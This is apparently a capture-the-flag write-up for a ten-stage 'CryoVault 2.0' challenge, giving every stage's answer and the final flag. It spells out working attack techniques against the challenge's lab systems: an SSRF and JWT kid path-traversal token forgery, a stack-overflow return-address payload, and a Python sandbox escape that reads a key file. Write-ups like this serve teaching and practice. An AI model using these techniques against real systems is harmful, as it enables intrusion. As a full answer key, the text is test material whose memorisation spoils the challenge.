CryoVault 2.0
The archive is a ten-stage chain. Each stage's answer is the key to the next sealed record; the final ten answers together decrypt vault.sealed.
Final flag
isfcr{c0ld_st0rage_n3v3r_f0rg3ts_th3_th4w_s3qu3nc3}The archive is a ten-stage chain. Each stage's answer is the key to the next
sealed record; the final ten answers together decrypt vault.sealed.
A recurring theme is deliberate decoy text. The audio metadata, the 1.0 archive, some notes, and several recovered files all contain plausible but false instructions or flags. The actual artifacts were always authoritative.
0. Archive layout
After extracting cryovault-2.0.zip:
README.txt
unseal.py
coolant.wav
stage2.enc .. stage10.enc
vault.sealed
ARCHIVE/1.0/unseal.py uses AES-256-GCM and a scrypt gate KDF. For stage n:
key = scrypt(answer.strip().lower(), salt="cryovault2.0/stage<n>",
N=2^17, r=8, p=1)The final vault uses:
key = scrypt("".join(a1..a10), salt="cryovault2.0/master",
N=2^17, r=8, p=1)Opening a record with a wrong answer fails cleanly.
1. Coolant telemetry — coolant.wav
The WAV metadata comment claims the channel-difference signal is meaningless, points at the 1.0 archive, and supplies a fake prior extraction result:
isfcr{ph4s3_sh1ft_k3yw0rd_r3c0v3rd}The file itself has a second payload: a ZIP appended after the WAV data at offset
4234290. It contains THAW_PROCEDURE.txt, which describes the real carrier:
- 1200 baud AFSK, 8N1
- mark 1200 Hz, space 2200 Hz
- carried on the channel difference
L - R - repeated six times per sweep
- each frame ends in
crc=<two hex digits>, CRC-8 poly0x07
Subtracting the channels and decoding the AFSK with matched filters around 1200 Hz and 2200 Hz gives frames like:
thaw-sequence: coolant-phase-lock-9f41c6d2b7e05a13 crc=0dThe CRC over the text before crc= matches 0d. The authorisation is the value
after the colon:
coolant-phase-lock-9f41c6d2b7e05a132. FrostRNG — stage 2
Stage 2 contains seal.py and sealed_manifest.bin.
seal.py is a reconstructed FrostRNG: a 64-bit LCG whose top byte is emitted.
Its suspected constants are:
A = 0x9E3779B95F4A7C55
C = 0x14057B7EF767814F
MIX = 0x2545F4914F6CDD1DThe manifest header gives a self-test vector:
selftest: seed=1 ks=60d96d937375e125The supplied constants do not produce that keystream. Since the notes warn that a
single transcribed hex digit is likely wrong, brute-forcing one hex digit in
A, C, or MIX gives the corrected multiplier:
A = 0x9E3779B97F4A7C55The manifest header also says the seal is keyed on the exact second of sealing,
with only the date 2026-07-14 surviving. Brute-forcing Unix timestamps around
that date and testing for the known plaintext prefix
CRYOVAULT-2.0-MANIFEST\n\x00 gives:
seed = 1784039831Decrypting the manifest yields a node table. The instructions say to choose the
one node that is both SEALED and vault-primary:
hostname = cryo-node-07.frostline.isfcr
state = SEALED
role = vault-primary
seal_id = 9c4e2a1b7d63f805Authorisation 2:
9c4e2a1b7d63f8053. FrostVM — stage 3
Stage 3 contains controller.elf and docs/VM_ISA.txt.
The VM documentation contains an erratum saying the shipped core is authoritative. Disassembling the VM handlers shows the real opcode semantics differ from the document, notably:
0x03isADDK(the document says subtract)0x08isSUBK(the document says add)
The 24-byte input buffer is transformed by an embedded straight-line FROSTVM
program at 0x47ed8a, then compared against 24 bytes at 0x47f3d6.
Every VM operation is invertible. Running the program backwards from the expected output, using the cursor value recorded at each forward step, recovers the input:
THAW-5F3A-9C21-B8E4-0D77Running the original binary and supplying that code prints:
AUTHORISED -- thaw sequence acceptedAuthorisation 3:
THAW-5F3A-9C21-B8E4-0D774. Operations console — stage 4
CONSOLE.txt points at the web operations console. Registering with the stage 3
thaw code returns an operations token:
curl -X POST https://isfcrpesu-redslayer-console.chals.io/register \
-H 'Content-Type: application/json' \
-d '{"thaw_code":"THAW-5F3A-9C21-B8E4-0D77"}'The node telemetry for the decommissioned node 8 reveals where maintenance control moved:
maintenance control was migrated off this node to the internal service
at http://cryo-admin.internal:8080The console has an SSRF endpoint, POST /api/fetch, which can reach the
internal service. The admin service root describes its authentication:
- JWT HS256
- accepted via
Authorization: Bearer <token>or?token=<token> - signing key selected by the JWT
kidheader - key loaded from
keys/<kid>
That is a path-traversal vulnerability. Using kid pointing at a file with
known contents, /proc/sys/kernel/ostype (Linux\n), and a payload with
role: "admin" produces an accepted token.
Requesting /maintenance with that token returns:
{
"maintenance_window": "mw-2026-0714-7e3a9c4f1b6d8205"
}Authorisation 4:
mw-2026-0714-7e3a9c4f1b6d82055. Modbus capture — stage 5
Stage 5 contains control_sweep.pcap. The notes say the control network is
configured to zero the IPv4 identification field, but the monitoring system
flagged non-compliant traffic.
Extract the non-zero IP IDs in capture order:
tshark -r control_sweep.pcap -Y 'ip.id != 0' -T fields -e ip.idThere are 20 values:
30c8 2dd4 35c5 71cf 35d5 2ece 3bc4 328c 3ed8 2cc0
2fd2 7192 3896 3990 3d98 3f94 3a93 64c3 6891 6aa1The notes also mention exactly one Modbus write. Filtering for function code 6:
tshark -r control_sweep.pcap -Y 'modbus.func_code == 6' -Vshows a write of register 32 with value:
23713 = 0x5ca1XOR each 16-bit IP ID with 0x5ca1 and interpret the result big-endian. This
produces:
liquid-nitrogen-bypass-3d7e1a9c5f28b406\x00The trailing NUL is not part of the answer. The passphrase embedded in the Modbus payload is a decoy; the IP ID artifact is authoritative.
Authorisation 5:
liquid-nitrogen-bypass-3d7e1a9c5f28b4066. Coolant pump daemon — stage 6
Stage 6 contains the pumpd binary. It is a static PIE, not stripped, and the
notes mention that the scheduler path was built without the stack protector.
The daemon asks for the maintenance phrase. Supplying authorisation 5 unlocks
the menu. Menu option 2 calls set_schedule:
sub rsp, 0x48
...
mov edx, 0x100
mov edi, 0
mov rsi, rsp
call readIt reads 256 bytes into a 72-byte stack frame, with no stack canary. The saved
return address is at offset 0x48.
The binary also contains a thaw_override function at PIE offset 0x7a27. It
prints the environment variable CRYO_KEYSHARE_6 and exits. The normal return
address after set_schedule is main+0x7cff.
A partial overwrite of the low two bytes of the saved return address is enough
to redirect execution to thaw_override:
payload = b"A" * 0x48 + b"\x27\x7a"This works for 9 of the 16 possible ASLR placements; otherwise the process crashes and a new connection is opened.
After a successful attempt the daemon prints:
[override] keyshare.6: 6f3b1d9a4c8e2057Authorisation 6:
6f3b1d9a4c8e20577. Vault backup image — stage 7
Stage 7 contains a 16 MiB FAT16 image, backup.img, plus 240 rotated controller
logs.
Site code from SQLite freelist
backup.img contains:
CRYO.DB
BASHHIST.TXT
NOTES.TXT
SEALMON.LOGSEALMON.LOG contains a decoy flag:
isfcr{c0ld_tr41l_r3c0v3r3d_0k}CRYO.DB still has a config table and a nodes table, but seal_cfg was
dropped. The deleted table's pages remain in the SQLite freelist. Recovering the
record for seal.site_code gives:
FROSTLINE-7-9C4E2A1B7D63Rotation values from logs
Grepping for SEAL-ROT finds one block in
controller.log.137:
SEAL-ROT stage=derive site=<redacted> rot=0447 alg=sha256
SEAL-ROT stage=commit authz=5e81c0a4 ticket=FAC-CHG-2291So:
rotation = 0447
authz = 5e81c0a4Deleted share container
The FAT directory still contains the deleted SHARE.ENC entry (first byte
0xE5) with size 177 and starting cluster 42. Carving those bytes recovers
the container.
BASHHIST.TXT explains the passphrase construction:
<site-code>/<rotation>-<authz>so the passphrase is:
FROSTLINE-7-9C4E2A1B7D63/0447-5e81c0a4The share format is:
magic "FROSTSHARE1" 11 bytes
length 150 uint32 little-endian
nonce 12 bytes
sealed 150 bytes AES-GCM ciphertext + tagThe key derivation is scrypt with the magic string as the salt:
P = b"FROSTLINE-7-9C4E2A1B7D63/0447-5e81c0a4"
key = hashlib.scrypt(P, salt=b"FROSTSHARE1",
n=1 << 17, r=8, p=1, dklen=32)Decrypting with AAD=b"FROSTSHARE1" yields:
keyshare.7: a1c47e05b93f682d
This is authorisation 7. Record 8 (stage8.enc) opens with it and
holds the core recalibration material.Authorisation 7:
a1c47e05b93f682d8. SPI EEPROM and core console — stage 8
SPI capture
spi_capture.csv has columns:
time_ns, CS, CLK, MOSI, MISOThe analyser sample interval is fixed, but the SPI clock is not; decoding must use actual clock edges. The correct rule is:
while
CS == 0, sampleMISOon every rising edge ofCLK
The decoded MOSI is:
03 00 40 ...i.e. EEPROM read command 0x03, address 0x0040. The first 24 MISO bits are
dummy clocks; the following 16 bytes are the EEPROM seed:
23f493b5021564054dad0030061f71ebCore console
The core console asks for a proof of work:
find NONCE such that sha256('<prefix>' + NONCE)
has at least 20 leading zero bitsAfter the PoW it accepts the 32-hex-character seed, then one Python expression.
The evaluation namespace has no builtins, but the sandbox can be escaped through
a Python object's class hierarchy. The _wrap_close class exposes the os
module through its __init__.__globals__:
(lambda g: g['read'](g['open']('/opt/cryo/core.key', g['O_RDONLY']), 4096))(
[c for c in ().__class__.__base__.__subclasses__()
if c.__name__ == '_wrap_close'][0].__init__.__globals__
)This returns:
d4e91c7a05b8236fAuthorisation 8:
d4e91c7a05b8236f9. Thermal array — stage 9
Stage 9 has 48 thermal frames, each a 32 x 128 grid of Celsius readings. The notes say the array is meant to be frame-averaged; the exporter wrote raw exposures instead.
Averaging all 48 frames per pixel reduces the per-pixel noise enough to reveal a 16-character string across the middle rows:
b7e3a01d5c86f249Authorisation 9:
b7e3a01d5c86f24910. Dial verification sheets — stage 10
Stage 10 contains 2,400 scanned dial sheets. The instructions say:
- 16 verified readings are ringed and double-underlined
- 8 unverified readings are ringed and single-underlined
- everything else is scribble
- read the hex character inside the ring, order by the number written beside it
Detecting roughly circular contours (as opposed to the many ordinary
[ ... ] bracketed spans) gives exactly 24 ringed sheets. Counting solid
horizontal underline strokes below each ring separates them into 8 single and
16 double underlines.
The eight single-underlined sheets were excluded:
ds_20200222-0832
ds_20220121-1545
ds_20220228-0738
ds_20220601-0215
ds_20220920-1716
ds_20230628-0303
ds_20240208-1321
ds_20240826-1305The 16 verified sheets, ordered by the number written beside the ring:
| Position | Sheet | Nibble |
|---|---|---|
| 1 | ds_20200714-2154 |
3 |
| 2 | ds_20240903-1126 |
f |
| 3 | ds_20220127-0204 |
8 |
| 4 | ds_20250923-1922 |
c |
| 5 | ds_20250228-1558 |
1 |
| 6 | ds_20260207-1301 |
e |
| 7 | ds_20241225-0940 |
0 |
| 8 | ds_20221207-0554 |
7 |
| 9 | ds_20240516-2148 |
a |
| 10 | ds_20200325-1041 |
5 |
| 11 | ds_20230119-0113 |
b |
| 12 | ds_20240916-0825 |
9 |
| 13 | ds_20210515-1752 |
d |
| 14 | ds_20200821-0525 |
4 |
| 15 | ds_20200421-1431 |
2 |
| 16 | ds_20240713-0016 |
6 |
That gives:
3f8c1e07a5b9d426The position-6 glyph is easy to misread as 6; the correct character is e.
A small brute-force over the few ambiguous handwritten glyphs can be checked
directly against vault.sealed, since a wrong sequence fails the GCM tag.
Authorisation 10:
3f8c1e07a5b9d426Final vault
All ten:
1 coolant-phase-lock-9f41c6d2b7e05a13
2 9c4e2a1b7d63f805
3 THAW-5F3A-9C21-B8E4-0D77
4 mw-2026-0714-7e3a9c4f1b6d8205
5 liquid-nitrogen-bypass-3d7e1a9c5f28b406
6 6f3b1d9a4c8e2057
7 a1c47e05b93f682d
8 d4e91c7a05b8236f
9 b7e3a01d5c86f249
10 3f8c1e07a5b9d426Run:
python3 unseal.py vault \
"coolant-phase-lock-9f41c6d2b7e05a13" \
"9c4e2a1b7d63f805" \
"THAW-5F3A-9C21-B8E4-0D77" \
"mw-2026-0714-7e3a9c4f1b6d8205" \
"liquid-nitrogen-bypass-3d7e1a9c5f28b406" \
"6f3b1d9a4c8e2057" \
"a1c47e05b93f682d" \
"d4e91c7a05b8236f" \
"b7e3a01d5c86f249" \
"3f8c1e07a5b9d426"Output:
isfcr{c0ld_st0rage_n3v3r_f0rg3ts_th3_th4w_s3qu3nc3}